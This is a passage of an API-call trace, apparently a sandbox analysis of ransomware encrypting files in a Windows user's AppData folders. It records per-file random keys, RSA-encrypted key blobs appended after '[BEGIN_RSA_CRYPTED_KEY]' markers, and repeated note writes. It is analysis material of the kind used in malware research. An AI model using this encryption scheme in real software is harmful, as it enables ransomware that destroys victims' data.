dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.195] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.195] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZNHrhPn66C9hjTm6YSz1obZ5PuDwvYnxnn2CToFOn0+4Ti4t3WyjS1is2OMALHva\nkBPr8eR57O8HNV0BST8ri7TXz6iHcPnMhuvkXB/5opa2tNq/4nItNDtXlBikX1fp\nVkPnbtpmsXeZiEnCHUr8hAwBMVSX8wMhpagRblhuRla4Aj4xuhyx+tuDY6B0Vz2F\nfoYMXuGGcyC1o3monGuncyDEcQUT/1DGjrfJOhnn/MyibS/SSwno8XV7+AdZk1eG\nVSKTtQMatKZqhlLARjIl20Zqc7zfylrqN4CiNZ9XT+5rP4Io6dLy5OTnuaj9P4o1\nOK2CKENyjAUnNV5RQoIjRA==\n", pcchString=0x2e3f9a8) returned 1 [0199.195] WriteFile (in: hFile=0xf9c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.196] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.196] WriteFile (in: hFile=0xf9c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.196] CloseHandle (hObject=0xf9c) returned 1 [0199.200] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.200] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.200] ReadFile (in: hFile=0xf9c, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.200] SetFilePointer (in: hFile=0xf9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.201] WriteFile (in: hFile=0xf9c, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.201] SetFilePointer (in: hFile=0xf9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.201] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.201] WriteFile (in: hFile=0xf9c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aHMprBp9UaK1/vIgzhd8i8dIBjRH7TOS2/gieRAmMbba6dS177l3xCtEampUkq9O\n5jWowasqMZK8wGOCtR5jsmOrXFogd+zVlFch5okgtkSzFqU/BduAo9cg0oK58eNV\n+BN30K3Qgih1KAxdJNcG1a7V3FYp8TId9rwIp/245K3b4rqqbl//j5P6fDKPVWaT\nWqY4fwphZ1hFbSldyF0RP1zOom9+y3geUwjA79+XSF85xWtG3h3NlrUog1NLa/JT\nBcDGDNeae/cFgh5ewElq9qlmeflWo4qhR+pmHE16y+t409Xrapv4/90T9UqvG/nO\nFCIIXmTGUM4NeDBvAfnDLQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.203] WriteFile (in: hFile=0xf9c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.203] WriteFile (in: hFile=0xf9c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.204] CloseHandle (hObject=0xf9c) returned 1 [0199.208] WriteFile (in: hFile=0xfa8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.209] CloseHandle (hObject=0xfa8) returned 1 [0199.210] WriteFile (in: hFile=0xfa8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.212] CloseHandle (hObject=0xfa8) returned 1 [0199.213] WriteFile (in: hFile=0xfa8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.214] CloseHandle (hObject=0xfa8) returned 1 [0199.215] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.215] ReadFile (in: hFile=0xfbc, lpBuffer=0x59d2c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.216] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.216] WriteFile (in: hFile=0xfbc, lpBuffer=0x59d380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.216] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.216] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.216] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.217] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.217] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="G4rMpEbNuMPziRhldqxTF7ew8Nq8P+2V4UOi4+/RcxTErENW0unmbix5ZBaSzvIW\n4SABqwm5gRGr7EYxzeM6v2+Oc4d4GLB7vvrLLadFiK0x69uB8F1wCwM7SekbhAT2\nqaPFrZ0GMGGX0WcTZp1cICJR6QppHfLocmgd5TMWZxOxQhoxatoOPj6DfbpJWETI\n//r7gjEbAMV3pLzRk+n4N8ISu4BywdrjeAx6hMnnFrHFlzE4TyXjjSgPyw6G4Vv6\n72ExzFqed0wadRdrgEFIToIDaRjx/4FIbaU5teEsLMi/PJJhmojY7DFpehKEBccC\n0Nq0lvDPvaKHruuPnT+ZNA==\n", pcchString=0x2e3f9a8) returned 1 [0199.218] WriteFile (in: hFile=0xfbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.218] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.219] CloseHandle (hObject=0xfbc) returned 1 [0199.225] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.225] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.225] ReadFile (in: hFile=0xfbc, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.240] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.240] WriteFile (in: hFile=0xfbc, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.241] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.241] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.241] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.242] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.242] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bfcMPC1rGxX+9PnoDM2d3hpUlYcaiiqFjSIXVDUToe787y3yAU56mInH6y/z4H5M\nlmx3P5TRbh9mbbr1tbaM0bUgu4ysHUHbw8xIilqWkg50FMiw6q97bocbh02UisGt\n1k6UE9E9DvJpTmxQAL3MPC3TANDc8/U2mydkvFaGVtCXP1px45eLo2p6HaqJst3I\neFOYq7WnmxM19gdxfh2JGMYa+BxBN3tGmOoIFXUsfkZIHBCS6rMFicxcnMVg3jLO\nyfto+qrMZb4AFp/NWUAntwZScD6PHmCc1Wb/8eM8sugTD16urW4pHy6PbVARupP+\n/1iEs+5oc1Wx0fD7LSW/jw==\n", pcchString=0x2e3f9a8) returned 1 [0199.242] WriteFile (in: hFile=0xfbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.242] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.242] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.243] CloseHandle (hObject=0xfbc) returned 1 [0199.244] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.245] ReadFile (in: hFile=0xfbc, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.254] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.254] WriteFile (in: hFile=0xfbc, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.255] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.255] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hiPCzB2CwKDKmiJON/M31eVADLmumCuJ6kj0rGNQrNbtm77MuM4R11c4aHHv0WBF\nMBkpVzQlX1AxwJrbdMUhhtgAq8kBcwIop5iCOE1tDj6IogQx3EB23ZRNgWcfU+8v\nNO6uVPNPOsz3Fnrmip2486HCJToRbalbRWmAdjTgQD9dNiIbAH/wasb2AKwrAWED\nB/Xs/QEerFHZbsFjUggyJjtaUQsXP4fNJchBbMVNqCUKBYBwT4X/eOcU/OgGo7Oq\nQcv044+WkaBejYh4x+8m1HcQWjChv54GL1WMrjx8PBSL/kC+o7mLVEzQKds0YZDu\nO2Ez9D9vN/eSbLdeiYcrew==\n", pcchString=0x2e3f9a8) returned 1 [0199.256] WriteFile (in: hFile=0xfbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.256] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.256] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.256] CloseHandle (hObject=0xfbc) returned 1 [0199.258] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.258] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.259] ReadFile (in: hFile=0xfbc, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.259] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.259] WriteFile (in: hFile=0xfbc, lpBuffer=0x59d2a0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.259] SetFilePointer (in: hFile=0xfbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.259] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.259] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.260] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.260] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.260] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.261] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gEc3IKl7cU0wsXY7BIKC9lYcOSwRy+Dy4+cUHJVbCJbq5hYUeCReL8fSxDvDKOwh\nkE4DiLwuLhRgHr25N3bfO1dHjj8d1DagZYeWx9kGO0uif+ykWyr5uJL0KU62VBMf\nuHCQlD9ORKpTEYIG+FAo5OFqSBMfg06YYkdP+32KD6gLmV5rZBEsY0NtzT9Odhe+\nNNmyDqiF4Oap0S1NQUd4C+v3nS4ebvs1qHTIin+hz5LjZ4GI21kEQEhCn39+vJRN\nB4rsnvw+NscGcCI4HbJW1xYLeJeS7lx9YjxlmojODHDNShVqzK5vjmoVZA5wpEVf\nnP5DY2b30HGLVRTSDO0zpg==\n", pcchString=0x2e3f9a8) returned 1 [0199.261] WriteFile (in: hFile=0xfbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.261] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.261] WriteFile (in: hFile=0xfbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.261] CloseHandle (hObject=0xfbc) returned 1 [0199.263] WriteFile (in: hFile=0xfc4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.265] CloseHandle (hObject=0xfc4) returned 1 [0199.265] WriteFile (in: hFile=0xfc4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.266] CloseHandle (hObject=0xfc4) returned 1 [0199.266] WriteFile (in: hFile=0xfc4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.268] CloseHandle (hObject=0xfc4) returned 1 [0199.269] WriteFile (in: hFile=0xfd0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.270] CloseHandle (hObject=0xfd0) returned 1 [0199.271] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\LogSettings.txt", dwFileAttributes=0x80) returned 1 [0199.271] ReadFile (in: hFile=0xfd0, lpBuffer=0x59d200, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x6, lpOverlapped=0x0) returned 1 [0199.272] SetFilePointer (in: hFile=0xfd0, lDistanceToMove=-6, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.272] WriteFile (in: hFile=0xfd0, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6, lpOverlapped=0x0) returned 1 [0199.273] SetFilePointer (in: hFile=0xfd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6 [0199.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.273] WriteFile (in: hFile=0xfd0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.273] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S4zE9GeR71O/69abqim5ki9lLpLwk2VIvsPXWmRs4KQKpmoSMq8cwYmA+b8+x3Xx\nIZ4sacd90R1dGfqHJZoKcFl3Ochp+oLUO1Y1VN1PXVxpl82Suet4/g/XPMoxVVPg\nH5/7jJv52wUiy7z6oU9fAbskqOSqXuKQLokXHGd4wHXDWC7rCIR3ntZ9zZ/j85PA\nL12mdq7KbDNxoyG0LOLV8sMX+nQNbL5Yv9pMHTDirkzqFnh2xRqRsqw8B7PRNCxr\nxwgYCSzlgVkw31Rh4ufyiJ3KtcWjbyZLsh27MMIRLfY20ExCOWaKRNc1aE1DVIJ9\nIq35Z7q5LUoTcQwMiPw/Qw==\n", pcchString=0x2e3f9a8) returned 1 [0199.274] WriteFile (in: hFile=0xfd0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.274] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.274] WriteFile (in: hFile=0xfd0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.275] CloseHandle (hObject=0xfd0) returned 1 [0199.277] CryptGenRandom (in: 